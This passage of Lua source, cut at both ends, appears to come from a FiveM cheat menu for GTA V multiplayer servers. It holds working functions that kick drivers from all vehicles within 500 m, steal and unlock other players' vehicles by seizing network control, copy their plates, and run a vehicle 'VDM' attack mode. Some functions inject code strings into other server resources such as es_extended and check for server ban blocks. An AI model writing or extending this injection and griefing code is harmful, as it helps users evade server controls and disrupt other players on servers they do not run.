kickedCount = kickedCount + 1 end Citizen.Wait(10) end menu.utils.notify( string.format("Kicked drivers from %d/%d vehicles", kickedCount, selectedCount), "success", 3000 ) end) end function assembledMenuFunctions.destroyerKickAllDrivers() if not GetGamePool then menu.utils.notify("GetGamePool not available", "error", 2000) return end Citizen.CreateThread(function() local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local playerVehicle = GetVehiclePedIsIn(playerPed, false) local kickedCount = 0 for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) and (playerVehicle == 0 or vehicle ~= playerVehicle) then local distance = #(GetEntityCoords(vehicle) - playerCoords) if 500.0 >= distance and not IsVehicleSeatFree(vehicle, -1) then local driver = GetPedInVehicleSeat(vehicle, -1) local driverIsPlayer = driver and driver ~= 0 and DoesEntityExist(driver) and IsPedAPlayer(driver) if not driverIsPlayer or not menu.utils.isServer151VehicleBlocked() then if menu.utils.kickDriverWithFreecamSequence(vehicle) then kickedCount = kickedCount + 1 end end end end Citizen.Wait(10) end menu.utils.notify(string.format("Kicked drivers from %d vehicles (500m)", kickedCount), "success", 3500) end) end function assembledMenuFunctions.radarAddNPCDriver() if not menu.vars.selectedVehicles then menu.utils.notify("No vehicles selected", "info", 2000) return end if not menu.utils.isWSPedWhitelisted("mp_m_freemode_01") then menu.utils.notify("Ped is blacklisted", "error", 2000) return end Citizen.CreateThread(function() local selectedCount = 0 local addedCount = 0 for _ in pairs(menu.vars.selectedVehicles) do selectedCount = selectedCount + 1 end if selectedCount == 0 then menu.utils.notify("No vehicles selected", "info", 2000) return end local modelHash = GetHashKey("mp_m_freemode_01") RequestModel(modelHash) while not HasModelLoaded(modelHash) do Citizen.Wait(50) end for _, selected in pairs(menu.vars.selectedVehicles) do local vehicle = selected.vehicle if DoesEntityExist(vehicle) then if not IsVehicleSeatFree(vehicle, -1) then menu.utils.removeDriverFromVehicle(vehicle) while not IsVehicleSeatFree(vehicle, -1) do Citizen.Wait(10) end end local coords = GetEntityCoords(vehicle) local heading = GetEntityHeading(vehicle) local driver = CreatePed(26, modelHash, coords.x + 1.0, coords.y, coords.z + 1.0, heading, false, false) menu.utils.markMenuSpawnedPed(driver) SetEntityInvincible(driver, true) SetBlockingOfNonTemporaryEvents(driver, true) local appearance = { sex = 0, face = 33, skin = 8, hair_1 = 15, hair_2 = 1, hair_color_1 = 28, hair_color_2 = 0, decals_1 = 0, decals_2 = 0, tshirt_1 = 21, tshirt_2 = 4, torso_1 = 20, torso_2 = 2, arms = 17, pants_1 = 20, pants_2 = 2, shoes_1 = 7, shoes_2 = 0, mask_1 = 0, mask_2 = 0, helmet_1 = 25, helmet_2 = 1, bproof_1 = 0, bproof_2 = 0, bags_1 = 0, bags_2 = 0, beard_1 = 3, beard_2 = 10, beard_3 = 2, beard_4 = 0, chain_1 = 18, chain_2 = 0, glasses_1 = 29, glasses_2 = 0 } SetPedComponentVariation(driver, 3, appearance.arms, 0, 2) SetPedComponentVariation(driver, 8, appearance.tshirt_1, appearance.tshirt_2, 2) SetPedComponentVariation(driver, 11, appearance.torso_1, appearance.torso_2, 2) SetPedComponentVariation(driver, 4, appearance.pants_1, appearance.pants_2, 2) SetPedComponentVariation(driver, 6, appearance.shoes_1, appearance.shoes_2, 2) SetPedComponentVariation(driver, 1, appearance.mask_1, appearance.mask_2, 2) SetPedComponentVariation(driver, 9, appearance.bproof_1, appearance.bproof_2, 2) SetPedComponentVariation(driver, 5, appearance.bags_1, appearance.bags_2, 2) SetPedComponentVariation(driver, 10, appearance.decals_1, appearance.decals_2, 2) SetPedComponentVariation(driver, 7, appearance.chain_1, appearance.chain_2, 2) SetPedComponentVariation(driver, 2, appearance.hair_1, appearance.hair_2, 2) SetPedHairColor(driver, appearance.hair_color_1, appearance.hair_color_2 or 0) SetPedHeadOverlay(driver, 1, appearance.beard_1, 1.0) SetPedHeadOverlayColor(driver, 1, 1, appearance.beard_2, appearance.beard_3) if appearance.helmet_1 ~= -1 then SetPedPropIndex(driver, 0, appearance.helmet_1, appearance.helmet_2, true) else ClearPedProp(driver, 0) end if appearance.glasses_1 ~= -1 then SetPedPropIndex(driver, 1, appearance.glasses_1, appearance.glasses_2, true) else ClearPedProp(driver, 1) end Citizen.Wait(50) SetPedIntoVehicle(driver, vehicle, -1) Citizen.Wait(300) TaskVehicleDriveWander(driver, vehicle, 25.0, 786603) addedCount = addedCount + 1 end Citizen.Wait(10) end menu.utils.notify( string.format("Added NPC drivers to %d/%d vehicles", addedCount, selectedCount), "success", 3000 ) end) end function assembledMenuFunctions.stealVehiclePlate(options) if not options or not options.targetInfo then menu.utils.notify("No player selected", "error", 2000) return end local targetPed = options.targetInfo.ped if not targetPed or not DoesEntityExist(targetPed) then menu.utils.notify("Target player not found", "error", 2000) return end if not IsPedInAnyVehicle(targetPed, false) then menu.utils.notify("Target player is not in a vehicle", "error", 2000) return end local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error", 2000) return end local targetVehicle = GetVehiclePedIsIn(targetPed, false) local playerVehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(targetVehicle) or not DoesEntityExist(playerVehicle) then menu.utils.notify("Invalid vehicle", "error", 2000) return end local plate = GetVehicleNumberPlateText(targetVehicle) if plate then plate = plate:gsub("^%s+", "") plate = plate:gsub("%s+$", "") plate = plate:sub(1, 8) end if not plate or plate == "" then plate = " " end local networkId = NetworkGetNetworkIdFromEntity(playerVehicle) if networkId and networkId ~= 0 then NetworkRequestControlOfEntity(playerVehicle) end SetVehicleNumberPlateText(playerVehicle, plate) local subtitle, subtitleSegments = menu.utils.buildNotifySubtitleParts("Plate copied: ", { plate, true }) menu.utils.notify("Vehicle Options", "success", 3000, nil, { title = "Vehicle Options", subtitle = subtitle, subtitleSegments = subtitleSegments }) end function assembledMenuFunctions.radarStealVehicle() if not menu.vars.selectedVehicle then menu.utils.notify("No vehicle selected", "info", 2000) return end Citizen.CreateThread(function() local vehicle = menu.vars.selectedVehicle.vehicle if not DoesEntityExist(vehicle) then menu.utils.notify("Selected vehicle no longer exists", "error", 2000) return end local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) if not IsVehicleSeatFree(vehicle, -1) then menu.utils.removeDriverFromVehicle(vehicle) while not IsVehicleSeatFree(vehicle, -1) do Citizen.Wait(10) end end menu.utils.withTempPlayerInvisibility(function() SetPedIntoVehicle(playerPed, vehicle, -1) while not IsPedInVehicle(playerPed, vehicle, false) do Citizen.Wait(10) end SetEntityCoords( vehicle, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true ) end) end) end function assembledMenuFunctions.teleportIntoSelectedVehicle(options) if not menu.vars.selectedVehicle then menu.utils.notify("No vehicle selected", "info", 2000) return end Citizen.CreateThread(function() local vehicle = menu.vars.selectedVehicle.vehicle if not DoesEntityExist(vehicle) then menu.utils.notify("Selected vehicle no longer exists", "error", 2000) return end local playerPed = PlayerPedId() local seatChoice = menu.vars.selectors.teleportVehicleSeat or 1 if seatChoice == 1 then if IsVehicleSeatFree(vehicle, -1) then SetPedIntoVehicle(playerPed, vehicle, -1) else menu.utils.removeDriverFromVehicle(vehicle) while not IsVehicleSeatFree(vehicle, -1) do Citizen.Wait(10) end SetPedIntoVehicle(playerPed, vehicle, -1) end menu.utils.notify("Teleported into vehicle (driver)", "success", 2000) return end local maxPassengers = GetVehicleMaxNumberOfPassengers(vehicle) local teleported = false for seat = 0, maxPassengers - 1, 1 do if IsVehicleSeatFree(vehicle, seat) then SetPedIntoVehicle(playerPed, vehicle, seat) menu.utils.notify("Teleported into vehicle (passenger)", "success", 2000) teleported = true break end end if not teleported then menu.utils.notify("No free passenger seats", "error", 2000) end end) end function assembledMenuFunctions.normalizeSelectorArg(value) if type(value) == "table" then if value.selectedValue ~= nil then return tostring(value.selectedValue) end if value.model ~= nil then return tostring(value.model) end end if value == nil then return nil end return tostring(value) end do local function spawnVehicle(modelArgument, spawnInsideArgument) modelArgument = menu.functions.normalizeSelectorArg(modelArgument) if modelArgument == "No addon vehicles" or not modelArgument or modelArgument == "" then return end local spawnInside if spawnInsideArgument == true or spawnInsideArgument == 1 then spawnInside = 1 elseif spawnInsideArgument == false or spawnInsideArgument == 0 then spawnInside = 0 else spawnInside = menu.vars.bools.vehSpawnerSpawnInside and 1 or 0 end if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end local modelName = tostring(modelArgument) modelName = modelName:gsub("^%s+", "") modelName = modelName:gsub("%s+$", "") if modelName:find("%%") or modelName:find("\"") then menu.utils.notify("Invalid vehicle model", "error", 2000) return end if modelName:lower() == "custom" then menu.ui.promptText( { title = "Spawn Vehicle", label = "Vehicle Model", default = "", maxLen = 20 }, function(value, cancelled) if cancelled or not value or value == "" then return end menu.functions.spawnVehicle(tostring(value)) end ) return end local modelHash = GetHashKey(modelName) if not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then menu.utils.notify("Invalid vehicle model", "error", 2000) return end if not menu.utils.isVehicleWhitelisted(modelName) then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local previewCoords, previewHeading = menu.functions.getVehicleSpawnPreviewCoords(modelHash) local groundZ = menu.functions.getVehiclePreviewGroundZ(previewCoords.x, previewCoords.y, previewCoords.z, modelHash) local spawnCoords = vector3(previewCoords.x, previewCoords.y, groundZ) local previewContext = menu.functions.getVehicleSpawnPreviewContext and menu.functions.getVehicleSpawnPreviewContext() menu.vars.vehicleSpawnPreviewHoldOff = true menu.vars.vehicleSpawnPreviewHoldSelKey = previewContext and previewContext.selKey or nil if menu.functions.clearVehicleSpawnPreview then menu.functions.clearVehicleSpawnPreview() end local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local applyTuning = menu.vars.bools.vehSpawnerSpawnTuned and 1 or 0 local spawnX = spawnCoords.x local spawnY = spawnCoords.y local spawnZ = spawnCoords.z local heading = previewHeading or 0.0 local tuningPayload = "" if applyTuning == 1 then tuningPayload = [[ -- Apply full tuning Citizen.Wait(100) -- Performance mods local maxEngine = GetNumVehicleMods(vehicle, 11) - 1 local maxBrakes = GetNumVehicleMods(vehicle, 12) - 1 local maxTransmission = GetNumVehicleMods(vehicle, 13) - 1 local maxSuspension = GetNumVehicleMods(vehicle, 15) - 1 if maxEngine >= 0 then SetVehicleMod(vehicle, 11, maxEngine, false) end if maxBrakes >= 0 then SetVehicleMod(vehicle, 12, maxBrakes, false) end if maxTransmission >= 0 then SetVehicleMod(vehicle, 13, maxTransmission, false) end if maxSuspension >= 0 then SetVehicleMod(vehicle, 15, maxSuspension, false) end SetVehicleMod(vehicle, 16, -1, false) -- Turbo ToggleVehicleMod(vehicle, 18, true) -- Visual mods (apply max for each category, skip horns) for modType = 0, 49 do if modType ~= 14 and modType ~= 16 then local maxMod = GetNumVehicleMods(vehicle, modType) - 1 if maxMod >= 0 then SetVehicleMod(vehicle, modType, maxMod, false) end end end -- Set neon color (cyan) SetVehicleNeonLightsColour(vehicle, 0, 255, 255) -- Window tint (1 = light smoke) SetVehicleWindowTint(vehicle, 1) -- Tire smoke color SetVehicleTyreSmokeColor(vehicle, 255, 255, 255) -- Upgrade wheels SetVehicleMod(vehicle, 23, GetNumVehicleMods(vehicle, 23) - 1, false) -- Set vehicle colors SetVehicleColours(vehicle, 0, 0) -- Refresh vehicle SetVehicleModKit(vehicle, 0) ]] end local spawnPayload = string.format( [[ Citizen.CreateThread(function() local vehicleModel = "%s" local playerPed = PlayerPedId() local coords = { x = %.4f, y = %.4f, z = %.4f } local heading = %.4f _G.Citizen = _G.Citizen or Citizen or {} _G.Citizen.Bongs = _G.Citizen.Bongs or {} if not _G.Citizen.Bongs.utils or not _G.Citizen.Bongs.utils.spawnVehicle then return end _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, coords, heading, function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end if %d == 1 then SetPedIntoVehicle(playerPed, vehicle, -1) end SetVehicleEngineOn(vehicle, true, true, false) %s end, %d) end) ]], modelName, spawnX, spawnY, spawnZ, heading, spawnInside, tuningPayload, safeSpawn ) local function notifySpawned() if menu.utils and menu.utils.notify then menu.utils.notify("Vehicle Spawner", "success", 2500, nil, { title = "Vehicle Spawner", subtitle = "Successfully spawned", noEnterDelay = true }) end end local function notifySpawnError(errorMessage) if menu.utils then if not menu.utils.notify then return end menu.utils.notify("Vehicle Spawner", "error", 3000, nil, { title = "Vehicle Spawner", subtitle = tostring(errorMessage or "Failed to spawn vehicle"), noEnterDelay = true }) end end local function notifyVehicleRemoved() if menu.utils and menu.utils.notify then menu.utils.notify("Vehicle Spawner", "error", 3000, nil, { title = "Vehicle Spawner", subtitle = "Vehicle was removed", noEnterDelay = true }) end end local function findNearbyVehicle() if not GetGamePool then return nil end local targetCoords = vector3(spawnX, spawnY, spawnZ) for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) and GetEntityModel(vehicle) == modelHash then if #(GetEntityCoords(vehicle) - targetCoords) < 30.0 then return vehicle end end end return nil end local function monitorSpawn(vehicle, alreadyNotified) Citizen.CreateThread(function() local function entityExists(entity) return entity and entity ~= 0 and DoesEntityExist(entity) end local notified = alreadyNotified == true local deadline = GetGameTimer() + 1500 while not notified and deadline > GetGameTimer() do if not entityExists(vehicle) then if entityExists(vehicle) then vehicle = vehicle else vehicle = findNearbyVehicle() end end if entityExists(vehicle) then notifySpawned() notified = true break end Citizen.Wait(50) end if not notified then notifySpawnError("Failed to spawn vehicle") return end Citizen.Wait(800) if entityExists(vehicle) then return end if findNearbyVehicle() then return end notifyVehicleRemoved() end) end local function prepareVehicle(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return false end local playerPed = PlayerPedId() if spawnInside == 1 then SetPedIntoVehicle(playerPed, vehicle, -1) end SetVehicleEngineOn(vehicle, true, true, false) if applyTuning == 1 then Citizen.Wait(100) local maxEngine = GetNumVehicleMods(vehicle, 11) - 1 local maxBrakes = GetNumVehicleMods(vehicle, 12) - 1 local maxTransmission = GetNumVehicleMods(vehicle, 13) - 1 local maxSuspension = GetNumVehicleMods(vehicle, 15) - 1 if 0 <= maxEngine then SetVehicleMod(vehicle, 11, maxEngine, false) end if 0 <= maxBrakes then SetVehicleMod(vehicle, 12, maxBrakes, false) end if 0 <= maxTransmission then SetVehicleMod(vehicle, 13, maxTransmission, false) end if 0 <= maxSuspension then SetVehicleMod(vehicle, 15, maxSuspension, false) end SetVehicleMod(vehicle, 16, -1, false) ToggleVehicleMod(vehicle, 18, true) for modType = 0, 49, 1 do if modType ~= 14 and modType ~= 16 then local maxMod = GetNumVehicleMods(vehicle, modType) - 1 if 0 <= maxMod then SetVehicleMod(vehicle, modType, maxMod, false) end end end SetVehicleNeonLightsColour(vehicle, 0, 255, 255) SetVehicleWindowTint(vehicle, 1) SetVehicleTyreSmokeColor(vehicle, 255, 255, 255) SetVehicleMod(vehicle, 23, GetNumVehicleMods(vehicle, 23) - 1, false) SetVehicleColours(vehicle, 0, 0) SetVehicleModKit(vehicle, 0) end return true end local function spawnWithNatives() Citizen.CreateThread(function() local nativeModelHash = GetHashKey(modelName) RequestModel(nativeModelHash) local deadline = GetGameTimer() + 5000 while not HasModelLoaded(nativeModelHash) and deadline > GetGameTimer() do Citizen.Wait(0) end if not HasModelLoaded(nativeModelHash) then notifySpawnError("Failed to load vehicle model") return end local vehicle = CreateVehicle(nativeModelHash, spawnX, spawnY, spawnZ, heading, true, true) SetModelAsNoLongerNeeded(nativeModelHash) if not prepareVehicle(vehicle) then notifySpawnError("Failed to spawn vehicle") return end notifySpawned() monitorSpawn(vehicle, true) end) end if menu.utils.safeExecute(spawnPayload) then monitorSpawn(nil, false) else spawnWithNatives() end end assembledMenuFunctions.spawnVehicle = spawnVehicle end function assembledMenuFunctions.corleoneTest(options) local resourceName = nil if Ham.hasResource("cc_core") then resourceName = "cc_core" elseif Ham.hasResource("es_extended") then resourceName = "es_extended" end if not resourceName then menu.utils.notify("cc_core and es_extended not found", "error", 2000) return end local payload = string.format( [[ Citizen.CreateThread(function() local propModel = "prop_sub_trans_02a" local propHash = GetHashKey(propModel) RequestModel(propHash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(propHash) and GetGameTimer() < timeout do Citizen.Wait(10) end if not HasModelLoaded(propHash) then print("^1[Corleone Test]^7 Failed to load model: " .. propModel) return end local playerPed = PlayerPedId() local coords = GetOffsetFromEntityInWorldCoords(playerPed, 2.0, 0.0, 0.0) local heading = GetEntityHeading(playerPed) local obj = CreateObject(propHash, coords.x, coords.y, coords.z, true, false, false) if not obj or obj == 0 or not DoesEntityExist(obj) then print("^1[Corleone Test]^7 Failed to spawn prop: " .. propModel) SetModelAsNoLongerNeeded(propHash) return end SetEntityHeading(obj, heading) PlaceObjectOnGroundProperly(obj) SetEntityCollision(obj, true, true) SetModelAsNoLongerNeeded(propHash) print("^2[Corleone Test]^7 Spawned prop: ^3" .. propModel .. "^7 in resource: ^3%s^7") end) ]], resourceName ) Ham.Execute(resourceName, payload) end function assembledMenuFunctions.toggleSafeVehicleSpawn(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.safeVehicleSpawn menu.vars.bools.safeVehicleSpawn = enabled end function assembledMenuFunctions.boostVehicle() local allowedVehicleClasses = { [0] = "Compacts", [1] = "Sedans", [2] = "SUVs", [3] = "Coupes", [4] = "Muscle", [5] = "Sports Classics", [6] = "Sports", [7] = "Super", [9] = "Off-road", [11] = "Utility", [12] = "Vans", [17] = "Service", [18] = "Emergency", [19] = "Military", [20] = "Commercial", [22] = "Open Wheel" } local function setHandlingField(vehicle, field, value) SetVehicleHandlingField(vehicle, "CHandlingData", field, value * 1.0) end local function multiplyHandlingField(vehicle, field, multiplier) local currentValue = GetVehicleHandlingFloat(vehicle, "CHandlingData", field) local scaledMultiplier = multiplier * 1.0 local newValue = scaledMultiplier * currentValue SetVehicleHandlingField(vehicle, "CHandlingData", field, newValue) end local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then menu.utils.notify("You must be in a vehicle", "error", 2500) return end local vehicle = GetVehiclePedIsIn(playerPed, false) local currentMaxSpeed = GetVehicleHandlingFloat(vehicle, "CHandlingData", "fInitialDriveMaxFlatVel") if currentMaxSpeed == 300.4012145996094 then menu.utils.notify("Vehicle is already boosted", "error", 2500) return end local vehicleClass = GetVehicleClass(vehicle) if not allowedVehicleClasses[vehicleClass] then menu.utils.notify("This vehicle cannot be boosted", "error", 2500) return end setHandlingField(vehicle, "fInitialDriveMaxFlatVel", 300.4012) setHandlingField(vehicle, "fHandBrakeForce", 10.0) setHandlingField(vehicle, "fBrakeForce", 20.0) multiplyHandlingField(vehicle, "fTractionCurveMin", 2.1) multiplyHandlingField(vehicle, "fTractionCurveMax", 2.5) multiplyHandlingField(vehicle, "fInitialDriveForce", 2.0) multiplyHandlingField(vehicle, "fDriveInertia", 1.25) setHandlingField(vehicle, "fInitialDragCoeff", 10.0) SetVehicleHandlingVector(vehicle, "CHandlingData", "vecInertiaMultiplier", vector3(0.1, 0.1, 0.1)) setHandlingField(vehicle, "fAntiRollBarForce", 1.0E-4) setHandlingField(vehicle, "fTractionLossMult", 1.0E-5) setHandlingField(vehicle, "fRollCentreHeightFront", 0.5) setHandlingField(vehicle, "fRollCentreHeightRear", 0.5) SetVehicleCanBreak(vehicle, false) SetVehicleEngineCanDegrade(vehicle, false) SetVehicleMod(vehicle, 15, 3, false) SetVehicleMod(vehicle, 11, 3, false) SetVehicleMod(vehicle, 16, 4, false) SetVehicleMod(vehicle, 12, 2, false) SetVehicleMod(vehicle, 13, 2, false) ToggleVehicleMod(vehicle, 18, true) SetVehicleMod(vehicle, 18, 0, false) SetVehicleNitroEnabled(vehicle, true) SetVehicleTurboPressure(vehicle, 100.0) EnableVehicleExhaustPops(vehicle, true) SetVehicleCheatPowerIncrease(vehicle, 1.8) menu.utils.notify( "Vehicle Options", "success", 2500, nil, { title = "Vehicle Options", subtitle = "Successfully vehicle boosted" } ) end function assembledMenuFunctions.getClosestVehicle() local playerPed = PlayerPedId() if not playerPed or playerPed == -1 then return nil end local coords = GetEntityCoords(playerPed) return GetClosestVehicle(coords.x, coords.y, coords.z, 20.0, 0, 70) end function assembledMenuFunctions.unlockVehicleEntity(entity, showNotification) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end local lockStatus = GetVehicleDoorLockStatus(entity) if lockStatus == 0 or lockStatus == 1 then return true end local networkId = NetworkGetNetworkIdFromEntity(entity) if networkId and networkId ~= 0 then SetNetworkIdCanMigrate(networkId, true) if SetNetworkIdExistsOnAllMachines then SetNetworkIdExistsOnAllMachines(networkId, true) end end local attempts = 0 while not NetworkHasControlOfEntity(entity) and attempts < 40 do NetworkRequestControlOfEntity(entity) if networkId and networkId ~= 0 and NetworkRequestControlOfNetworkId then NetworkRequestControlOfNetworkId(networkId) end Citizen.Wait(50) attempts = attempts + 1 end SetEntityAsMissionEntity(entity, true, false) SetVehicleDoorsLocked(entity, 1) SetVehicleDoorsLockedForAllPlayers(entity, false) if SetVehicleDoorsLockedForNonScriptPlayers then SetVehicleDoorsLockedForNonScriptPlayers(entity, false) end SetVehicleDoorsLockedForPlayer(entity, PlayerId(), false) Citizen.Wait(50) lockStatus = GetVehicleDoorLockStatus(entity) if lockStatus ~= 1 and lockStatus ~= 0 then SetVehicleDoorsLocked(entity, 1) SetVehicleDoorsLockedForAllPlayers(entity, false) if SetVehicleDoorsLockedForNonScriptPlayers then SetVehicleDoorsLockedForNonScriptPlayers(entity, false) end SetVehicleDoorsLockedForPlayer(entity, PlayerId(), false) Citizen.Wait(50) end lockStatus = GetVehicleDoorLockStatus(entity) local unlocked = lockStatus == 0 or lockStatus == 1 if showNotification ~= false then if unlocked then menu.utils.notify("Vehicle unlocked", "success", 2000) else menu.utils.notify("Could not unlock vehicle", "error", 2000) end end return unlocked end function assembledMenuFunctions.unlockClosestVehicle(options) local vehicle = menu.functions.getClosestVehicle() if vehicle and DoesEntityExist(vehicle) then if menu.functions.unlockVehicleEntity(vehicle, true) then menu.utils.notify("Closest vehicle unlocked.", "success") else menu.utils.notify("Could not unlock vehicle.", "error") end return end menu.utils.notify("No vehicle found nearby.", "error") end function assembledMenuFunctions.lockClosestVehicle(options) local vehicle = menu.functions.getClosestVehicle() if vehicle and DoesEntityExist(vehicle) then SetVehicleDoorsLocked(vehicle, 2) SetVehicleDoorsLockedForAllPlayers(vehicle, true) menu.utils.notify("Closest vehicle locked.", "success") return end menu.utils.notify("No vehicle found nearby.", "error") end function assembledMenuFunctions.lockUnlockClosestVehicle(action) if not action then return end action = tostring(action):lower() if action == "unlock" then menu.functions.unlockClosestVehicle() elseif action == "lock" then menu.functions.lockClosestVehicle() end end function assembledMenuFunctions.unlockRadarVehicle() if not menu.vars.selectedVehicle then menu.utils.notify("No vehicle selected", "info", 2000) return end local vehicle = menu.vars.selectedVehicle.vehicle if vehicle and DoesEntityExist(vehicle) then local networkId = NetworkGetNetworkIdFromEntity(vehicle) if networkId and networkId ~= 0 then SetNetworkIdCanMigrate(networkId, true) end local attempts = 0 while not NetworkHasControlOfEntity(vehicle) and attempts < 20 do NetworkRequestControlOfEntity(vehicle) Citizen.Wait(50) attempts = attempts + 1 end SetEntityAsMissionEntity(vehicle, true, false) SetVehicleDoorsLocked(vehicle, 1) SetVehicleDoorsLockedForAllPlayers(vehicle, false) if SetVehicleDoorsLockedForNonScriptPlayers then SetVehicleDoorsLockedForNonScriptPlayers(vehicle, false) end SetVehicleDoorsLockedForPlayer(vehicle, PlayerId(), false) Citizen.Wait(50) local lockStatus = GetVehicleDoorLockStatus(vehicle) if lockStatus ~= 1 and lockStatus ~= 0 then SetVehicleDoorsLocked(vehicle, 1) SetVehicleDoorsLockedForAllPlayers(vehicle, false) end menu.utils.notify("Selected vehicle unlocked.", "success") return end menu.utils.notify("Selected vehicle no longer exists.", "error") end function assembledMenuFunctions.lockRadarVehicle() if not menu.vars.selectedVehicle then menu.utils.notify("No vehicle selected", "info", 2000) return end local vehicle = menu.vars.selectedVehicle.vehicle if vehicle and DoesEntityExist(vehicle) then SetVehicleDoorsLocked(vehicle, 2) SetVehicleDoorsLockedForAllPlayers(vehicle, true) menu.utils.notify("Selected vehicle locked.", "success") return end menu.utils.notify("Selected vehicle no longer exists.", "error") end function assembledMenuFunctions.lockUnlockRadarVehicle(action) if not action then return end action = tostring(action):lower() if action == "unlock" then menu.functions.unlockRadarVehicle() elseif action == "lock" then menu.functions.lockRadarVehicle() end end function assembledMenuFunctions.getVehicleForDoorAction() local playerPed = PlayerPedId() if IsPedInAnyVehicle(playerPed, false) then return GetVehiclePedIsIn(playerPed, false) end return menu.functions.getClosestVehicle() end function assembledMenuFunctions.requestVehicleControlForDoors(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end menu.functions.unlockVehicleEntity(entity, false) local networkId = NetworkGetNetworkIdFromEntity(entity) if networkId and networkId ~= 0 then SetNetworkIdCanMigrate(networkId, true) end local attempts = 0 while not NetworkHasControlOfEntity(entity) and attempts < 20 do NetworkRequestControlOfEntity(entity) Citizen.Wait(50) attempts = attempts + 1 end SetEntityAsMissionEntity(entity, true, false) return DoesEntityExist(entity) end function assembledMenuFunctions.openVehicleDoorChoice(entity, choice) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end if not menu.functions.requestVehicleControlForDoors(entity) then return false end local function isDoorOpen(doorIndex) if IsVehicleDoorFullyOpen(entity, doorIndex) then return true end return 0.1 < GetVehicleDoorAngleRatio(entity, doorIndex) end choice = tostring(choice or ""):lower() if choice == "open all" then local anyOpen = false for doorIndex = 0, 5, 1 do if isDoorOpen(doorIndex) then anyOpen = true break end end if anyOpen then for doorIndex = 0, 5, 1 do SetVehicleDoorShut(entity, doorIndex, false) end return true, "closed" end for doorIndex = 0, 5, 1 do SetVehicleDoorOpen(entity, doorIndex, false, false) end return true, "opened" end local doorIndices = { ["front left"] = 0, ["front right"] = 1, ["rear left"] = 2, ["rear right"] = 3, hood = 4, trunk = 5 } local doorIndex = doorIndices[choice] if doorIndex == nil then return false end if isDoorOpen(doorIndex) then SetVehicleDoorShut(entity, doorIndex, false) return true, "closed" end SetVehicleDoorOpen(entity, doorIndex, false, false) return true, "opened" end function assembledMenuFunctions.notifyVehicleDoorAction(action, choice) local choiceText = tostring(choice or "") local normalizedChoice = choiceText:lower() if normalizedChoice == "open all" then normalizedChoice = "all doors" else normalizedChoice = choiceText end local actionText = action == "closed" and "closed" or "opened" local subtitle, subtitleSegments = menu.utils.buildNotifySubtitleParts("Successfully ", { normalizedChoice, true }, " " .. actionText) menu.utils.notify("Vehicle Options", "success", 2500, nil, { title = "Vehicle Options", subtitle = subtitle, subtitleSegments = subtitleSegments }) end function assembledMenuFunctions.openVehicleDoors(choice) if not choice then return end local vehicle = menu.functions.getVehicleForDoorAction() if not vehicle or not DoesEntityExist(vehicle) then menu.utils.notify("No vehicle found nearby.", "error") return end local success, action = menu.functions.openVehicleDoorChoice(vehicle, choice) if success then menu.functions.notifyVehicleDoorAction(action, choice) else menu.utils.notify("Could not toggle vehicle door.", "error") end end function assembledMenuFunctions.openRadarVehicleDoors(choice) if not choice then return end if not menu.vars.selectedVehicle then menu.utils.notify("No vehicle selected", "info", 2000) return end local vehicle = menu.vars.selectedVehicle.vehicle if not vehicle or not DoesEntityExist(vehicle) then menu.utils.notify("Selected vehicle no longer exists.", "error") return end local success, action = menu.functions.openVehicleDoorChoice(vehicle, choice) if success then menu.functions.notifyVehicleDoorAction(action, choice) else menu.utils.notify("Could not toggle vehicle door.", "error") end end function assembledMenuFunctions.toggleTowTruck(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.towTruck menu.vars.bools.towTruck = enabled if enabled then menu.utils.notify("Tow Truck mode enabled", "success", 3000) else menu.utils.notify("Tow Truck mode disabled", "info", 3000) end end function assembledMenuFunctions.togglePitMode(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.pitMode menu.vars.bools.pitMode = enabled if enabled then menu.utils.notify("Pit Mode enabled - No collision for you", "success", 3000) else menu.utils.notify("Pit Mode disabled", "info", 3000) end end function assembledMenuFunctions.toggleKickVehicleMode(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.kickVehicleMode if enabled and menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() menu.vars.bools.kickVehicleMode = false return end menu.vars.bools.kickVehicleMode = enabled if enabled then menu.utils.notify("Kick Vehicle mode enabled", "success", 3000) else menu.utils.notify("Kick Vehicle mode disabled", "info", 3000) end end function assembledMenuFunctions.toggleVehicleVdmMode(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.vehicleVdmMode if enabled and menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() menu.vars.bools.vehicleVdmMode = false return end if enabled and not menu.utils.isAnyNearbyVehicleFallbackWhitelisted() then menu.utils.notify("Vehicle is blacklisted", "error", 2000) menu.vars.bools.vehicleVdmMode = false return end menu.vars.bools.vehicleVdmMode = enabled if not enabled and menu.vars.bools.vehicleVdmTornadoActive then menu.functions.stopVehicleVdmTornado() end if enabled then menu.utils.notify("VDM Mode enabled - scroll & left click to attack", "success", 3000) else menu.utils.notify("VDM Mode disabled", "info", 3000) end end function assembledMenuFunctions.getVehicleVdmModeOptions() return { "Smash Down", "Launch Up", "Side Hit", "Push" } end function assembledMenuFunctions.getVehicleVdmModeLabel(option) if option == "Push" then return 